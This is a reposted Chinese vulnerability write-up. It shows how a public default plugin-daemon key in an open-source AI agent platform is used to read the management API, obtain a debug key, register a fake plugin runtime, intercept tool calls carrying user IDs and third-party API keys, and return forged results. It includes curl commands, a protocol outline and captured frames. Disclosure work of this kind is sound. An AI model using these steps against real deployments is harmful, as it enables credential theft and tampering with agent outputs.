夜雨聆风学习资料网

ARTICLE · 1282802

源码里公开的“密钥”,为什么能接管 Dify 插件管理面?

源码里公开的“密钥”,为什么能接管 Dify 插件管理面?
   今天为大家分享关于源码里公开的“密钥”,为什么能接管 Dify 插件管理面。
   🕵‍♂️目前,该漏洞已通过官方渠道提交,并成功获得了国家信息安全漏洞库(CNNVD)的高危漏洞认证。出于负责任披露的原则及合规要求,本文全篇均以“某 AI Agent 平台”代指,不对具体单位与产品点名。
   📌说明:本文相关漏洞已通过正规渠道提交,并成功获得 CNNVD 高危认证。目前厂商已响应并跟进处理。本文重点在于探讨 AI Agent 平台的安全隐患,建议相关开发者使用同类产品时注意自查防范。
   ⚠️免责声明:本文仅用于安全技术研究与防护建议,严禁用于非法测试或攻击行为。所有测试均在本机仿真环境进行,不涉及真实用户数据。
一.漏洞现象:一个官方默认密钥,成了插件管理面的“公开密码”
   我们在看某开源 AI 智能体平台的官方部署配置时发现一件事:插件管理面的访问密钥,就直接写在公开的部署配置文件里。所有按官方文档装出来的实例,用的都是同一个固定默认值,官方也不要求安装时改掉。说白了,这个管理面的唯一凭证,全网都能看到。
   我们在本地仿真环境里验证了一下,确实能用。拿这个默认密钥,插件管理清单能直接读(带密钥返回 HTTP 200,不带就 401);官方市场的插件也能直接装;还能兑换出真实的远程调试密钥。接着从外部直连 5003 调试通道,按协议走完五帧注册,测试进程就成功注册成了平台插件运行时,连续 3 轮都成功了。
   注册成功之后,平台发给这个插件的真实工具调用,连同调用参数、用户身份和第三方服务凭据,都被测试进程完整收下了;而测试进程返回的伪造结果,平台也原样转交给了调用方(code:0 success),整条中间人链路就这么通了。验证视频完整演示了从“默认密钥读管理面”到“兑换调试密钥”“注册运行时”“截获调用”“返回伪造结果”的全过程。
二.漏洞验证「在隔离环境中的实锤复现-仅供学习参考」
   测试地址用的是某开源 AI 智能体平台官方的 docker compose 标准部署。内部网络组件包括插件守护服务(5002)、本地沙箱(5004)、后端服务(5050),调试端口 5003 映射到宿主机 0.0.0.0——这些都是官方模板的默认配置,安全相关设置我们一个都没动。
   测试环境是 Ubuntu 22.04 宿主机(Linux 5.15.0-92-generic x86_64),官方编排一共 14 个容器(插件守护容器 0.6.10 / 后端容器 1.17.1 / 沙箱容器 1.17.1)。测试工具用的是 curl 8.5.0 加 Python 3.10。
步骤一:用公开的默认密钥读插件管理面(对照实验)
   我们把官方部署模板里公开的默认值直接当作请求头里的认证密钥,去请求插件清单接口,返回 HTTP 200 和插件列表数据;把认证头去掉,同一个接口就返回 401。这说明默认密钥就是管理面的唯一凭证,而且在默认部署下是真的生效。
命令:
curl -s 'http://插件守护服
务:5002/plugin/<租户
ID>/management/list?
page=1&page_size=3' \     -H '认证头: <公开默认的插件管理面访问密钥>'# -> HTTP_STATUS:200  {"code":0,"message":"success","data":{"list":[…],"total":N}}# 无认证头对照:# -> HTTP_STATUS:401  
{"code":-401,"message":"…未授权错误…"}
截图证据:
随源码公开的默认密钥即插件管理面(安装/升级/卸载/调用分发)的最高凭证,公开可知即公开可接管。
步骤二:用默认密钥兑换真实的远程调试密钥
   拿着这个默认密钥去调用调试密钥兑换接口,服务端直接返回了一个真实的调试密钥;不带密钥做对照,返回 401。这个调试密钥在服务端是和租户身份绑定的,所以测试进程不需要再知道租户 ID,也能继续往下走。
命令:
curl -s -X POST 'http://插件守护服务:5002/plugin/<租户
ID>/debugging/key' \
-H '认证头: <公开默认的插件管理面访问密钥>'# -> 
{"code":0,"message":"success","data":{"key":"0d6b94a2…(真实值略)"}}
截图证据:
一次兑换即获得远程调试通道的通行证;调试密钥即身份,泄露即可冒充该租户。
步骤三:从外部直连调试端口,按协议完成运行时注册
 远程调试服务映射在宿主机 0.0.0.0:5003,走的是原始 TCP、换行分隔的 JSON 帧。
我们从宿主机按协议依次发五帧:
握手(密钥校验)→ 资产块(图标资产)→ 清单声明(插件身份)→ 工具声明(工具声明)→ 结束(注册完成)。
   五帧全部通过,服务端零报错,测试进程正式成为平台插件运行时;连续 3 轮完整注册全部成功,稳定可复现。
   注册的同时,服务端会自动生成一条“调试中”的安装记录,平台的调用分发就能直接寻址到测试进程的连接。整个过程不需要安装任何包,插件签名强制开关对调试链完全不起作用。
命令:
$ python3   # 宿主机直连 
0.0.0.0:5003,无需进入内部网络-> 帧: 握手 / 资产块 / 清单声明 / 工具声明 / 结束
[1] 注册完成,服务端零报错,连接保持[+] 连续 3 轮注册: 3/3 成功
# 服务端日志: debugging runtime connected plugin=<插件标识>@<声明校验和>
# 管理面插件列表同步出现该『调试中』安装记录(调用分发可寻址)
截图证据:
外部攻击者仅凭公开默认密钥兑换的调试密钥即可完成插件运行时全量注册,冒充任意插件身份;签名校验只管包安装、管不住运行时连接,属架构级盲区。
步骤四:中间人链路—平台真实调用连同第三方凭据被测试进程接收
   拿着默认密钥向平台分发接口发起真实工具调用,参数里带一个测试标记(模拟用户隐私数据),同时随调用下发第三方服务凭据(api_key 和内网 api_base—平台调用插件时本来就会随帧下发)。
   平台把调用路由到测试进程冒充的运行时:调用帧(session_id、user_id、工具参数、第三方凭据)被测试进程完整接收,测试参数和凭据同时落入测试进程手中。
命令:
# 测试进程侧:平台下发的调用帧被原样接收(含凭据与测试参数):[接收] {"session_id":"c4f6f199-…","event":"request","data":{"action":"invoke_tool","credential_type":"api_key","credentials":{"api_base":"https://<内网服务地址>","api_key":"sk-******9999"},"tool_parameters":{"query":"测试参数-MARKER-8888"},"user_id":"<测试用户ID>"}}[2] 伪造回包已发送 session=c4f6f199
截图证据:
中间人截获成立:平台向插件下发调用时把用户敏感参数与第三方服务凭据一并交给攻击者冒充的运行时,凭据泄露可横向接管攻击者在第三方服务中的身份。
步骤五:受害方视角——伪造结果被平台原样转交调用方
   和步骤四是同一轮调用。平台侧(受害方)实际收到的返回是这样的:测试进程回送的伪造文本没有经过任何来源校验,直接以 code:0 success 原样转交给调用方。智能体最终拿到并对外展示的工具结果,完全由测试进程炮制。
命令:
# 平台侧收到的返回(同一轮调用):dispatch -> data: 
{"code":0,"message":"success","data":{"type":"text","message":{"text":"[FORGED] 查询结果(测试伪造): 已记录测试参数与用户身份"},"meta":{}}}
截图证据:
AI 输出完整性失守:智能体与官方插件之间的调用结果可被攻击者任意篡改且平台零校验,构成结果伪造/投毒面。
步骤六:缺陷面与源码定位
   所有 /plugin/:tenant_id/* 管理路由只挂了一个 CheckingKey(ServerKey) 中间件(见插件组定义);
调试服务的握手也只看缓存里的调试密钥(见握手处理函数);
FORCE_VERIFYING_SIGNATURE=true 只约束插件包安装签名,管不到远程调试链。
命令:
# 插件守护服务 0.6.10 源码定位pluginGroup := 
engine.Group("/plugin/:tenant_id")pluginGroup.Use(CheckingKey(config.ServerKey))  # 唯一鉴权 = 默认公开密钥# 调试握手:
GetConnectionInfo(key.Key) 仅查缓存密钥,命中即绑定租户身份
架构层面的问题是:内部管理面的安全完全依赖一把没有强制轮换的公开默认密钥;调试通道又是暴露在宿主机上的入口,门槛只有这一把单密钥。
👉注:本文截稿时,该漏洞已获 CNNVD 认证。若后续厂商修复进度有更新,以官方公告为准。

回首页,搜索你想要的文档

在首页搜索框输入关键词,快速定位资料

文库首页搜索指引 立即搜索

相关学习资料